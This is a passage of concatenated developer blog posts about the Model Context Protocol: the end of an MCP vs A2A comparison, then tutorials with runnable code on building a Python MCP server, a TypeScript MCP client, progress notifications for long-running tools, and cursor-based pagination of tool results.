job you hand to someone else. ## When should I use A2A? Use A2A when one agent needs to delegate a whole task to another agent it does not control, especially across a team or company boundary. The point of A2A is opacity: the caller briefs a peer and trusts it to deliver, without depending on how that peer is built or which tools it uses inside. - One agent must hand off work to another autonomous agent and wait for a result. - The two agents are built by different teams or companies and should stay black boxes to each other. - The delegated work is long-running or multi-step, and the caller needs a task lifecycle to track it. - You want a peer to advertise its own scope through an Agent Card rather than expose a fixed tool list. ## Can you use MCP and A2A together? Yes, and in most multi-agent systems you should. The two protocols occupy different layers, so they stack cleanly. A2A connects the agents to each other; MCP connects each agent to its own tools. A planning agent can delegate a research task to a specialist agent over A2A, and that specialist agent can, on its own, call a web-search tool and a database over MCP to do the work. The planner never sees the MCP calls; it only sees the A2A task move from working to completed. A useful mental model: A2A is the org chart between agents, and MCP is each agent's toolbox. If you find yourself asking whether to use one or the other, check which question you are answering. "How does this agent get work done?" is MCP. "How does this agent get help from another agent?" is A2A. --- ## Related guides - MCP vs function calling: what is the difference and when to use each: mcporbit.com/blog/mcp-vs-function-calling - MCP vs traditional APIs: how it is different: mcporbit.com/blog/mcp-vs-traditional-apis - What is the Model Context Protocol (MCP): mcporbit.com/blog/what-is-the-model-context-protocol - MCP tools vs resources vs prompts: which to use: mcporbit.com/blog/mcp-tools-vs-resources-vs-prompts ## Frequently asked questions ### Is A2A a replacement for MCP? No. MCP connects one agent to its tools and data; A2A connects one agent to another agent. They work at different layers, and many systems run both at once: A2A between agents and MCP inside each agent. ### Who maintains MCP and A2A? MCP was released by Anthropic in November 2024 and is an open standard for connecting AI apps to tools and data. A2A was launched by Google in April 2025 and donated to the Linux Foundation on June 23, 2025, where it reached a v1.0 stable release. ### Do MCP and A2A use the same transport? Both speak JSON-RPC over HTTP, which is why they look similar. MCP also supports stdio for local servers and is stateless at its core as of the 2026-07-28 spec. A2A runs over HTTP with a stateful task lifecycle and uses Server-Sent Events for streaming updates on long tasks. ### What is an Agent Card in A2A? An Agent Card is a JSON document an A2A agent publishes at /.well-known/agent-card. It states the agent's identity, skills, service endpoint, and required authentication, so a calling agent can decide whether to delegate work before any interaction starts. It is A2A's discovery mechanism, the rough equivalent of MCP's tools/list. ### If I am building one agent with tools, which do I need? MCP. A2A only becomes relevant once you have a second autonomous agent that your agent needs to delegate to. For a single agent calling databases, APIs, or files, MCP alone is the right and complete choice. ### How do MCP and A2A fit in a multi-agent system? Use A2A to connect the agents to each other across team or company boundaries, and MCP to connect each agent to its own tools and data. A2A is the org chart; MCP is each agent's toolbox. --- # How to build an MCP server in Python URL: https://mcporbit.com/blog/build-an-mcp-server-in-python Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-21 Updated: 2026-09-04 Category: Field notes Tags: MCP, Python, SDK, Tutorial Build an MCP server in Python with the official mcp SDK: create a project with uv, make an MCPServer, decorate functions with @mcp.tool(), and run it over stdio. Full runnable code, tested on mcp 2.0.0 and Python 3.11. Build an MCP server in Python with the official `mcp` SDK: create a project with `uv`, make an `MCPServer`, decorate plain functions with `@mcp.tool()`, and call `mcp.run("stdio")`. Any MCP client can then discover and call your tools. The whole server is one file, and this one is tested end to end. The Python SDK is one of MCP's two Tier-1 SDKs and crossed a billion total downloads in 2026, so it is a first-class way to ship a server, not a port of the TypeScript one. This walkthrough builds a small `text-tools` server with two tools and a resource, then connects a real client over stdio and asserts the results. Every command below was run against `mcp` 2.0.0 on Python 3.11 with `uv` 0.11.16. - The `mcp` SDK's high-level class is `MCPServer`. You decorate ordinary Python functions with `@mcp.tool()` and the SDK builds the JSON Schema from your type hints. - Return a typed object (a `TypedDict` or Pydantic model) to get `structuredContent`. A bare `dict` return has no schema, so the client only receives text. - `@mcp.resource(uri)` exposes read-only data a client can fetch without calling a tool. - `mcp.run("stdio")` speaks the stdio transport, which is what Claude Desktop and other local clients launch. - Tested end to end against `mcp` 2.0.0 on Python 3.11 (the 2.0 SDK tracks the 2026-07-28 MCP spec). ## What do you need to build an MCP server in Python? Python 3.10 or newer and the `mcp` package. Use `uv` for the project and environment. It is what the SDK's own docs standardize on, and it pins an exact Python for you. Create the project and add the SDK with its CLI extra in two commands: ```bash uv init --python 3.11 text-tools && cd text-tools uv add "mcp[cli]>=2.0.0" ``` That is the entire dependency list. `mcp[cli]` pulls in the server, the client, and the `mcp` command-line tool. Everything below runs with `uv run`, so the virtual environment is handled for you. ## Write the server Create `server.py`. You make an `MCPServer`, then hang tools off it with `@mcp.tool()`. The function's name becomes the tool name, its docstring becomes the description, and its type hints become the input schema, so you do not write schema by hand. Note the return type on `word_count`: it is a `TypedDict`, which is what gives the tool a structured result. ```python """A minimal, tested MCP server in Python using the official SDK (mcp 2.0).""" from typing import TypedDict from mcp.server.mcpserver import MCPServer mcp = MCPServer(name="text-tools", version="1.0.0") class Counts(TypedDict): words: int characters: int sentences: int @mcp.tool() def word_count(text: str) -> Counts: """Count words, characters, and sentences in a block of text.""" words = text.split() sentences = [s for s in text.replace("!", ".").replace("?", ".").split(".") if s.strip()] return Counts(words=len(words), characters=len(text), sentences=len(sentences)) @mcp.tool() def slugify(text: str) -> str: """Turn a title into a URL-safe slug.""" keep = [c.lower() if c.isalnum() else "-" for c in text.strip()] slug = "".join(keep) while "--" in slug: slug = slug.replace("--", "-") return slug.strip("-") @mcp.resource("info://server") def server_info() -> str: """Static metadata a client can read without calling a tool.""" return "text-tools v1.0.0: word_count, slugify" if __name__ == "__main__": mcp.run("stdio") ``` > **Type your return value or you lose structuredContent** > > `slugify` returns `str`, so the SDK infers an output schema of `{ result: string }` automatically. But if `word_count` returned a bare `dict`, the SDK cannot infer a schema and the client receives only text, and `structuredContent` comes back empty. Annotate the return with a `TypedDict` or a Pydantic model and the structured result appears. This is the most common surprise when porting a Python server. ## How do you run and test an MCP server in Python? Do not eyeball it. Connect a real client. The SDK ships a client too, so a test can spawn the server over stdio exactly as a production client would, then list and call the tools. Create `test_server.py`: ```python """End-to-end test: spawn server.py over stdio, connect a client, exercise it.""" import asyncio from mcp import ClientSession, StdioServerParameters, stdio_client async def main() -> None: params = StdioServerParameters(command="uv", args=["run", "python", "server.py"]) async with stdio_client(params) as (read, write): async with ClientSession(read, write) as session: await session.initialize() tools = await session.list_tools() names = sorted(t.name for t in tools.tools) assert names == ["slugify", "word_count"], names r = await session.call_tool("word_count", {"text": "Hello world. How are you?"}) data = r.structured_content assert data == {"words": 5, "characters": 25, "sentences": 2}, data r2 = await session.call_tool("slugify", {"text": "How to Build an MCP Server!"}) assert r2.structured_content["result"] == "how-to-build-an-mcp-server", r2.structured_content res = await session.list_resources() assert any(str(x.uri) == "info://server" for x in res.resources), res.resources body = await session.read_resource("info://server") assert "text-tools" in body.contents[0].text print("tools:", names) print("word_count:", data) print("slugify:", r2.structured_content["result"]) print("ALL CHECKS PASSED") if __name__ == "__main__": asyncio.run(main()) ``` Run it with one command: ```bash uv run python test_server.py ``` The client boots the server, initializes, and exercises every tool and the resource: ```text tools: ['slugify', 'word_count'] word_count: {'words': 5, 'characters': 25, 'sentences': 2} slugify: how-to-build-an-mcp-server ALL CHECKS PASSED ``` > **One SDK quirk to know** > > In Python the result field is snake_case: read `result.structured_content`, not `structuredContent`. The wire protocol uses `structuredContent`; the Python objects use `structured_content`. Reach for the camelCase name and you get an `AttributeError`. ## Add the server to Claude Desktop Because `mcp.run("stdio")` speaks stdio, a local client launches your server as a subprocess. Point Claude Desktop (or any stdio client) at the same command you tested with: ```json { "mcpServers": { "text-tools": { "command": "uv", "args": ["--directory", "/abs/path/to/text-tools", "run", "python", "server.py"] } } } ``` Use an absolute path for `--directory` so the client can find the project no matter where it launches from. ## The rules that keep a Python MCP server clean - Give every tool a clear docstring. It is the description the model reads to decide when to call the tool, so vague docstrings cause wrong calls. - Type every argument and the return value. The SDK turns hints into the input and output schema; untyped args fall back to loose validation. - Return a `TypedDict` or Pydantic model when the result is structured. Reserve bare strings for genuinely single-value results. - Keep tools side-effect-aware: annotate read-only tools so a client knows they are safe to auto-run, and be explicit about anything destructive. - Test with the SDK's own client over stdio. It is the same path a production client takes, so a passing test means the server actually works. > **See it live** > > [Open MCPOrbit and add your Python server](/blog/add-an-mcp-server-to-mcporbit) with the same `uv run python server.py` command, then connect. MCPOrbit lists your tools, shows the inferred input schema for each one, and lets you call `word_count` or `slugify` by hand, so you can confirm the structured result is wired before an agent ever touches it. ## Frequently asked questions ## Frequently asked questions ### What package do I install to build an MCP server in Python? The official `mcp` package, installed as `mcp[cli]`. It bundles the server, the client, and the `mcp` command-line tool. Add it with `uv add "mcp[cli]>=2.0.0"`. The 2.0 line tracks the 2026-07-28 MCP specification. ### What is the difference between MCPServer and FastMCP? `MCPServer` is the high-level server class in the 2.0 SDK; it is the successor to the `FastMCP` name from the 1.x line. The ergonomics are the same: decorate functions with `@mcp.tool()` and `@mcp.resource()`, so older FastMCP tutorials mostly translate by swapping the class name. ### How do I return structured data from a Python MCP tool? Annotate the tool's return type with a `TypedDict` or a Pydantic model. The SDK derives an output schema from that annotation and populates `structuredContent`. If you return a bare `dict` with no annotation, there is no schema and the client receives only the text form. ### Which transport should a Python MCP server use? Use stdio for a local server that one client launches as a subprocess. It is what Claude Desktop starts. Use Streamable HTTP for a remote server that many clients reach over the network. `mcp.run("stdio")` and `mcp.run("streamable-http")` select between them. ### How do I test an MCP server without a full client app? Use the SDK's own client in a script. `stdio_client` plus `ClientSession` spawns your server over stdio, runs the initialize handshake, and lets you call `list_tools`, `call_tool`, and `read_resource` and assert on the results, no external client needed. > **The code runs as written** > > Every snippet here is from a project that was created, run, and asserted against `mcp` 2.0.0 on Python 3.11 with `uv` 0.11.16. Copy `server.py` and `test_server.py`, run `uv run python test_server.py`, and you get the output shown above. --- # How to build an MCP client in TypeScript URL: https://mcporbit.com/blog/build-an-mcp-client Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-20 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, Tutorial, SDK, MCP Clients Build a Model Context Protocol client in TypeScript: connect over stdio and Streamable HTTP, discover tools, call them, and read resources. Runnable code. To build a Model Context Protocol (MCP) client, create a `Client` from the official TypeScript SDK, connect it through a transport (stdio for a local server, Streamable HTTP for a remote one), then call `listTools`, `callTool`, and `readResource`. A working client is under 30 lines. Almost every MCP tutorial builds a server. But something has to connect to that server, discover what it exposes, and call it. That something is the client. If you are wiring MCP into your own agent, a test script, or a backend service instead of a chat app, you write the client yourself. This guide builds one end to end in TypeScript and tests it against a real server. - An MCP client is any program that opens a connection to an MCP server and calls its tools, resources, and prompts. - The `@modelcontextprotocol/sdk` package ships both the client and the transports. You do not hand-roll JSON-RPC. - Use `StdioClientTransport` for a local server process and `StreamableHTTPClientTransport` for a remote one. - The connect call performs the initialize handshake for you, so `listTools` works immediately after. - All code here is pinned to `@modelcontextprotocol/sdk@1.30.0` on Node.js 25 and tested end to end. ## What is an MCP client? An MCP client is the side of an MCP connection that consumes capabilities. The server exposes tools, resources, and prompts. The client discovers them and calls them. In a product like Claude Desktop the client is built in, but when you integrate MCP into your own code you become the client author. A client does four things: open a transport to the server, run the initialize handshake to agree on protocol version and capabilities, list what the server offers, and invoke it. The SDK handles the JSON-RPC framing and the handshake. You write the calls. ## Set up the project Create a fresh directory and install the SDK. The project is an ES module, so `type` is set to `module`. `zod` is used to declare the demo server's input schema. ```json { "name": "mcp-client-demo", "private": true, "type": "module", "version": "1.0.0" } ``` ```bash npm install @modelcontextprotocol/sdk@1.30.0 zod@3.25.76 ``` ## How do you connect an MCP client to a local server over stdio? The stdio transport spawns the server as a child process and talks to it over standard input and output. It is the simplest way to connect: no ports, no HTTP, no auth. To have something to connect to, here is a tiny server that exposes one tool and one resource. Save it as `server.js`. ```javascript // server.js: a minimal MCP server for the client to target. import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { z } from "zod"; const server = new McpServer({ name: "demo-server", version: "1.0.0" }); server.registerTool( "add", { title: "Add two numbers", description: "Adds a and b and returns the sum.", inputSchema: { a: z.number(), b: z.number() }, }, async ({ a, b }) => ({ content: [{ type: "text", text: String(a + b) }], }) ); server.registerResource( "readme", "file:///readme.txt", { title: "Project README", mimeType: "text/plain" }, async (uri) => ({ contents: [{ uri: uri.href, text: "Hello from the demo MCP server." }], }) ); await server.connect(new StdioServerTransport()); ``` Now the client. It spawns `server.js`, connects, and the connect call runs the initialize handshake. After that you can list and call tools, and list and read resources. Save it as `client.js`. ```javascript // client.js: connect over stdio, discover tools, call one, read a resource. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const transport = new StdioClientTransport({ command: "node", args: ["server.js"], }); const client = new Client({ name: "demo-client", version: "1.0.0" }); await client.connect(transport); // runs the initialize handshake const { tools } = await client.listTools(); console.log("TOOLS:", tools.map((t) => t.name).join(", ")); const result = await client.callTool({ name: "add", arguments: { a: 2, b: 3 }, }); console.log("add(2,3) ->", result.content[0].text); const { resources } = await client.listResources(); console.log("RESOURCES:", resources.map((r) => r.uri).join(", ")); const read = await client.readResource({ uri: "file:///readme.txt" }); console.log("readme ->", read.contents[0].text); await client.close(); ``` Run it with `node client.js`. The client starts the server, handshakes, and prints what it found: ```text TOOLS: add add(2,3) -> 5 RESOURCES: file:///readme.txt readme -> Hello from the demo MCP server. ``` That is a complete client. `connect` handshakes, `listTools` returns the tool definitions, `callTool` invokes one by name with typed arguments, and `readResource` pulls a resource by its URI. `close` shuts the transport down and ends the child process. ## How do you connect to a remote MCP server over HTTP? For a remote server you swap the transport, not the client. Use `StreamableHTTPClientTransport` with the server's URL. Everything after the connect call is identical: `listTools`, `callTool`, `readResource`, `close`. Here is a client that connects to a Streamable HTTP server: ```javascript // http-client.js: same client, remote transport. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; const transport = new StreamableHTTPClientTransport( new URL("http://localhost:3939/mcp") ); const client = new Client({ name: "remote-demo-client", version: "1.0.0" }); await client.connect(transport); const { tools } = await client.listTools(); console.log("REMOTE TOOLS:", tools.map((t) => t.name).join(", ")); const r = await client.callTool({ name: "ping", arguments: {} }); console.log("ping ->", r.content[0].text); await client.close(); ``` > **Use Streamable HTTP, not SSE** > > The 2026-07-28 MCP specification deprecated the legacy HTTP+SSE transport, with a year-long offramp. New remote clients should use `StreamableHTTPClientTransport`. The stateless protocol core means a remote client no longer depends on sticky sessions to stay connected. ## How do you call a tool and handle its result? `callTool` takes the tool `name` and an `arguments` object that matches the server's input schema. The result carries a `content` array. Text tools return a `text` block, so you read `result.content[0].text`. A tool can return multiple content blocks and can set `isError: true` to signal a failure inside a normal response, so check for it before trusting the output. ```javascript const result = await client.callTool({ name: "add", arguments: { a: 2, b: 3 }, }); if (result.isError) { throw new Error(result.content[0].text); } for (const block of result.content) { if (block.type === "text") console.log(block.text); } ``` Wrap the whole session in try/finally so the transport always closes, even when a call throws. A leaked stdio transport leaves the server child process running. - `client.listTools()` returns `{ tools }`, each with `name`, `description`, and `inputSchema`. - `client.callTool({ name, arguments })` invokes a tool and returns `{ content, isError? }`. - `client.listResources()` and `client.readResource({ uri })` cover the resource side. - `client.listPrompts()` and `client.getPrompt({ name, arguments })` cover prompts. - `client.close()` tears down the transport. Always call it in a `finally` block. --- ## Frequently asked questions ## Frequently asked questions ### What is the minimum code to connect to an MCP server? Import `Client` and a transport from `@modelcontextprotocol/sdk`, create the client, and `await client.connect(transport)`. That single connect call runs the initialize handshake, so `listTools` works on the next line. A usable client is under 30 lines. ### What is the difference between the stdio and Streamable HTTP client transports? `StdioClientTransport` spawns a local server as a child process and talks over standard input and output, with no ports or auth. `StreamableHTTPClientTransport` connects to a remote server over HTTP by URL. The client API is identical after connect; only the transport changes. ### Do I need to send an initialize request myself? No. `client.connect(transport)` performs the initialize handshake, including protocol version and capability negotiation. You call `listTools` or `callTool` directly after it resolves. ### Should a new MCP client use SSE or Streamable HTTP? Streamable HTTP. The 2026-07-28 MCP specification deprecated the legacy HTTP+SSE transport with a year-long offramp, so new clients should use `StreamableHTTPClientTransport`. ### How do I know if a tool call failed? Check `result.isError`. A tool can return `isError: true` with the error text in its `content` array instead of throwing, so a normal-looking response can still represent a failure. Inspect the flag before using the output. ### Can one client connect to more than one MCP server? Yes. Create a separate `Client` and transport per server and keep them in a map. Each connection is independent, so an agent can fan a request out to several servers and merge the tool lists. Want a reference client to check yours against? MCPOrbit is a free MCP client for macOS. Connect the same server in both, then compare the tool lists and the call results to see where your client differs. [Download MCPOrbit for macOS](/api/download) --- # How to report progress from a long-running MCP tool URL: https://mcporbit.com/blog/mcp-tool-progress-notifications Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-19 Updated: 2026-09-04 Category: Field notes Tags: MCP, Progress, Notifications, Engineering Report progress from a long-running MCP tool by having the client pass a progressToken and the server send notifications/progress updates as it works. Tested on the SDK. Report progress from a long-running MCP tool by having the client pass a `progressToken` with the call and the server send `notifications/progress` updates as it works. The final tool result still comes back normally when the job finishes. A tool that takes 30 seconds looks frozen to the agent and the person watching it. Progress notifications fix that. The client opts in by attaching a token to the request, and the server streams back how far along it is. Nothing about the return value changes: you still resolve the tool with your normal result. The updates are a side channel that runs while the work happens. - The client opts in by sending a `progressToken` in the request `_meta`. No token means the server sends nothing. - The server emits `notifications/progress` with `progress`, an optional `total`, and an optional human `message`. - `progress` must increase on every update. The client drops any that go backward. - Progress is a side channel. The tool still returns its real result the normal way when it finishes. - Tested end to end against `@modelcontextprotocol/sdk@1.30.0` on Node 25. ## How do progress notifications work in MCP? Progress is opt-in and per-request. When a client wants updates for a call, it puts a `progressToken` in the request's `_meta` field. The token is any string or integer the client picks to identify that call. The server reads the token, does its work, and for each step sends a `notifications/progress` message that carries the same token back. The client matches the token to the call it made and routes the update to the right place. A single progress notification looks like this on the wire: ```json { "jsonrpc": "2.0", "method": "notifications/progress", "params": { "progressToken": "abc-123", "progress": 3, "total": 5, "message": "Indexed 3/5 in orders" } } ``` `progress` is the current amount of work done. `total` is optional, because a server does not always know the total up front (a stream of unknown length, for example). When you send `total`, a client can render a real percentage bar. When you leave it off, the client shows an indeterminate spinner that still proves the server is alive. `message` is optional human-readable text for whatever the server is doing right now. ## Build the server: a tool that streams progress Start a fresh project and pin the SDK. This is the whole setup: ```bash mkdir mcp-progress && cd mcp-progress npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk@1.30.0 zod@3.25.76 ``` Here is the server. The tool reindexes a collection one document at a time. The `extra` argument the SDK hands your tool handler carries the request `_meta`, so the token is at `extra._meta.progressToken`. Send updates only when it is present, and use `extra.sendNotification` so the notification is tied to this request. ```javascript // server.js import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { z } from "zod"; export function buildServer() { const server = new McpServer({ name: "reindex-server", version: "1.0.0" }); server.registerTool( "reindex_documents", { title: "Reindex documents", description: "Rebuild the search index for a collection. Long-running.", inputSchema: { collection: z.string(), count: z.number().int().positive() }, }, async ({ collection, count }, extra) => { // The client opts in by sending a progressToken with the request. const progressToken = extra._meta?.progressToken; for (let done = 1; done <= count; done++) { // ...real work for each document happens here... if (progressToken !== undefined) { await extra.sendNotification({ method: "notifications/progress", params: { progressToken, progress: done, total: count, message: `Indexed ${done}/${count} in ${collection}`, }, }); } } return { content: [{ type: "text", text: `Reindexed ${count} documents in ${collection}.` }], structuredContent: { collection, indexed: count }, }; } ); return server; } ``` > **Send progress before the result, not with it** > > The notifications go out while the loop runs. The `return` happens once, at the end. Do not try to pack progress into the result: a client cannot show a bar after the call has already resolved. ## How do I receive progress on the client? In the TypeScript SDK you do not build the token by hand. Pass an `onprogress` callback to `callTool` and the SDK generates a `progressToken`, attaches it to the request, and calls you back for each matching notification. This client drives the server over an in-memory transport so the whole thing runs in one file: ```javascript // test.js import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import assert from "node:assert/strict"; import { buildServer } from "./server.js"; const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); const server = buildServer(); await server.connect(serverTransport); const client = new Client({ name: "test-client", version: "1.0.0" }); await client.connect(clientTransport); const updates = []; const result = await client.callTool( { name: "reindex_documents", arguments: { collection: "orders", count: 5 } }, undefined, { onprogress: (p) => updates.push(p) } ); assert.equal(updates.length, 5); assert.deepEqual(updates.map((u) => u.progress), [1, 2, 3, 4, 5]); assert.equal(updates[4].message, "Indexed 5/5 in orders"); assert.equal(result.structuredContent.indexed, 5); console.log("progress:", updates.map((u) => `${u.progress}/${u.total}`).join(" ")); console.log("result:", result.structuredContent); await client.close(); await server.close(); ``` Run it with one command: ```bash node test.js ``` You get five updates, then the final result: ```text progress: 1/5 2/5 3/5 4/5 5/5 result: { collection: 'orders', indexed: 5 } ``` ## The rules that keep progress correct - Only send progress when the client sent a token. A server that pushes progress no one asked for is spamming the connection. - Keep `progress` strictly increasing across a request. The spec lets a client ignore any update that does not move forward. - Send `total` when you know it so the client can show a percentage. Leave it off when the length is unknown; the client falls back to an indeterminate spinner. - Do not rely on the tool call finishing just because progress reached the total. The result is what completes the call, not the last notification. - Progress is best-effort. A dropped notification must never corrupt the result, so never move real state forward inside the notification path. > **Cancellation pairs with progress** > > A long tool the user can watch is a long tool the user may cancel. The same `extra` object exposes `extra.signal`, an AbortSignal that fires when the client cancels the request. Check it in your loop and stop early so a cancelled reindex does not keep working. ## Frequently asked questions ## Frequently asked questions ### What is a progressToken in MCP? It is an identifier the client attaches to a request in the `_meta` field to say it wants progress updates for that call. The server echoes the same token in every `notifications/progress` message so the client can match updates to the right request. No token means the server sends no progress. ### Do I have to send a total with progress updates? No. `total` is optional. Send it when you know the size of the work so the client can render a percentage. Leave it off for streams of unknown length, and the client shows an indeterminate spinner instead of a bar. ### Can progress go backward? No. The `progress` value must increase on every notification for a request. The spec allows a client to ignore any update whose value did not move forward, so a backward number is simply dropped. ### How does the client receive progress in the TypeScript SDK? Pass an `onprogress` callback in the options to `callTool`. The SDK generates the `progressToken`, attaches it to the request, and invokes your callback for each matching `notifications/progress` message. You do not manage the token yourself. ### Does sending progress change how the tool returns its result? No. Progress notifications are a side channel that runs while the tool works. You still return the tool result the normal way when the work finishes. Code that ignores progress entirely keeps working unchanged. [Open MCPOrbit and connect your server](/blog/add-an-mcp-server-to-mcporbit), then call a long-running tool by hand. You get the final result with the time the call took, so you can confirm the slow path completes before an agent ever touches the tool. [Download MCPOrbit for macOS](/api/download) --- # How to paginate results from an MCP tool URL: https://mcporbit.com/blog/paginate-mcp-tool-results Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-18 Updated: 2026-09-04 Category: Tutorial Tags: MCP, Pagination, Tutorial, Reliability A tool that returns thousands of rows floods the model's context and breaks the call. Here is cursor-based pagination for an MCP tool: an opaque cursor, a server-capped page size, and typed structuredContent, tested end to end. To paginate results from an MCP tool, give the tool a `limit` and a `cursor` input, return one bounded page plus an opaque `nextCursor` in `structuredContent`, and let the model call again with that cursor until it comes back empty. Cap the page size on the server and make the cursor a token the caller cannot edit. This keeps a large result set from flooding the model's context window. A tool that returns everything is a tool that breaks. Ask an agent to "list the orders" and a naive tool dumps 5,000 rows into a single response. That response either blows past the model's context window, gets silently truncated, or costs a fortune in tokens before the model reads a single useful field. Pagination fixes this: return a small page, hand back a cursor, and let the model pull the next page only if it actually needs it. The Model Context Protocol (MCP) already uses cursor-based pagination for its own list operations like `tools/list`, so this pattern matches how MCP clients already think. **Key takeaways** - Return a page, not the whole set. Give the tool `limit` and `cursor` inputs and send back at most one page of rows. - Make the cursor opaque. Encode it as a base64url token the caller echoes back, never a raw offset it can edit. - Cap the page size on the server. Clamp `limit` to a maximum so one caller cannot request 10,000 rows. - Return the cursor in `structuredContent` with an `outputSchema`, so the model gets typed JSON instead of parsing it out of prose. - Prefer keyset (seek) pagination over offset. It stays correct when rows are inserted between pages and is faster on a real database. ## How do you paginate an MCP tool? Add two optional inputs to the tool: `limit` (how many rows to return) and `cursor` (where to resume). The tool returns one page of rows and, if more remain, a `nextCursor` string. The model reads `nextCursor` and calls the tool again with it. When the tool returns no cursor, the model knows it has reached the end. The cursor is opaque: the client stores it and echoes it back without interpreting it, exactly like MCP's own `tools/list` pagination. Start with the cursor itself. Encode it as a base64url token that carries the id of the last row on the page. Decoding a tampered or truncated cursor returns null, which the tool turns into a clean error rather than a crash. ```typescript // cursor.ts // An opaque, base64url cursor. The client treats it as a token it echoes back, // never as a number it can edit. We keyset on the last id we returned. export type Cursor = { afterId: number } export function encodeCursor(c: Cursor): string { return Buffer.from(JSON.stringify(c), "utf8").toString("base64url") } export function decodeCursor(raw: string | undefined): Cursor | null { if (!raw) return null try { const c = JSON.parse(Buffer.from(raw, "base64url").toString("utf8")) if (typeof c?.afterId === "number") return c as Cursor return null } catch { return null } } ``` ## Return one bounded page plus a typed nextCursor The tool does three things: clamp the requested `limit` to a server maximum, seek past the cursor's last id, and take one page. It returns the page and a `nextCursor` in `structuredContent`, backed by an `outputSchema` so the model receives typed JSON. Emit `nextCursor` only when rows remain, so its absence is an unambiguous end-of-list signal. ```typescript // server.ts import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js" import { z } from "zod" import { encodeCursor, decodeCursor } from "./cursor.js" // Stand-in data source: 5,000 orders, sorted by id. A real tool queries a DB. type Order = { id: number; email: string; total: number } const ORDERS: Order[] = Array.from({ length: 5000 }, (_, i) => ({ id: i + 1, email: `user${i + 1}@example.com`, total: (i * 37) % 500, })) const MAX_PAGE = 100 const DEFAULT_PAGE = 25 export const server = new McpServer({ name: "orders", version: "1.0.0" }) server.registerTool( "list_orders", { description: "List orders, newest id last. Page through with the cursor.", inputSchema: { limit: z.number().int().positive().max(MAX_PAGE).optional(), cursor: z.string().optional(), }, outputSchema: { orders: z.array( z.object({ id: z.number(), email: z.string(), total: z.number() }), ), nextCursor: z.string().optional(), }, }, async ({ limit, cursor }) => { // Bound the page size server-side. A caller cannot demand 10,000 rows. const pageSize = Math.min(limit ?? DEFAULT_PAGE, MAX_PAGE) const decoded = decodeCursor(cursor) if (cursor && !decoded) { return { isError: true, content: [{ type: "text", text: "Invalid or expired cursor." }], } } const afterId = decoded?.afterId ?? 0 // Keyset pagination: seek past the last id we returned, take one page. const page = ORDERS.filter((o) => o.id > afterId).slice(0, pageSize) const last = page[page.length - 1] // Only emit a cursor if more rows remain after this page. const more = last ? ORDERS.some((o) => o.id > last.id) : false const nextCursor = more && last ? encodeCursor({ afterId: last.id }) : undefined const structuredContent = { orders: page, nextCursor } return { structuredContent, content: [{ type: "text", text: JSON.stringify(structuredContent) }], } }, ) ``` > **Why keyset, not offset** > > Offset pagination (`OFFSET 4000 LIMIT 100`) drifts when rows are inserted or deleted between calls: the model re-reads or skips rows. Keyset pagination seeks past the last id it saw (`WHERE id > :afterId`), so each page is stable no matter what changed, and the database can use an index instead of counting past thousands of rows. ## How the model follows the cursor The caller does not need special support. It calls the tool, reads `nextCursor` from the structured result, and passes it into the next call. When `nextCursor` is missing, the loop ends. In practice an agent rarely reads every page; it stops as soon as it has the rows it needs, which is the whole point of paging instead of dumping. ```typescript // The caller follows nextCursor until it is gone. let cursor: string | undefined const all: Order[] = [] do { const res = await client.callTool({ name: "list_orders", arguments: { limit: 100, ...(cursor ? { cursor } : {}) }, }) const { orders, nextCursor } = res.structuredContent as { orders: Order[] nextCursor?: string } all.push(...orders) cursor = nextCursor // undefined on the last page ends the loop } while (cursor) ``` ## Run it in one command ```bash npm i @modelcontextprotocol/sdk@1.30.0 zod@3 npx tsx server.ts ``` Point an MCP client at the server and call `list_orders` in a loop, following `nextCursor` each time. It walks the full 5,000 rows in 50 pages of 100 with no gaps and no duplicates, then returns a page with no cursor to signal the end. A garbage cursor comes back as a tool error, and a request for more than 100 rows is clamped to 100. This exact flow is tested end to end with an in-memory client before publishing. - Set a sane default page size (25 here) so a caller that omits `limit` still gets a small response. - Never trust the cursor's contents for authorization. Re-check the caller's permissions on every page, because the cursor is resumable state, not a grant. - For search or filtered results, fold the filter into the cursor so a resumed page uses the same query, not a new one. - If your rows can change under you, keyset on a stable, monotonic column (an id or a created timestamp with a tiebreaker), not on a mutable field. - Pair this with structured output so `nextCursor` is typed data the model reads directly, not a string it has to fish out of text. --- ## Frequently asked questions ## Frequently asked questions ### How do I paginate results from an MCP tool? Give the tool `limit` and `cursor` inputs, return at most one page of rows, and include an opaque `nextCursor` token when more rows remain. The model calls the tool again with that cursor and stops when a response comes back without one. Return the cursor in `structuredContent` with an `outputSchema` so the model gets typed JSON. ### Why not just return all the rows from an MCP tool? A large result set floods the model's context window, gets truncated, or burns tokens before the model reads anything useful. Returning a bounded page keeps responses small and lets the agent fetch more only when it needs them, which is faster and cheaper. ### Should an MCP cursor be an offset or an opaque token? Make it an opaque token. Encode the resume position (a last id, plus any filter) as a base64url string the client echoes back without interpreting. An opaque cursor lets you change the pagination strategy later without breaking callers, and it stops a client from editing a raw offset to skip access checks. ### Keyset or offset pagination for an MCP tool? Prefer keyset (seek) pagination: resume with `WHERE id > :afterId` instead of `OFFSET n`. Keyset pages stay correct when rows are inserted or deleted between calls, and they use an index instead of counting past every skipped row. Offset is only fine for small, static data sets. ### How does the model know it reached the last page? Omit `nextCursor` from the final page. When the tool returns a page with no cursor, the client knows there are no more rows and stops calling. Emitting a cursor on every page, even the last, leaves the model unsure whether to call again. [Get your server into MCPOrbit](/blog/add-an-mcp-server-to-mcporbit), call the tool, and read the raw page it returns, cursor and all. A tool that dumps thousands of rows shows the problem immediately. Pair this with our guides on returning structured output from an MCP tool and rate limiting an MCP server. [Download 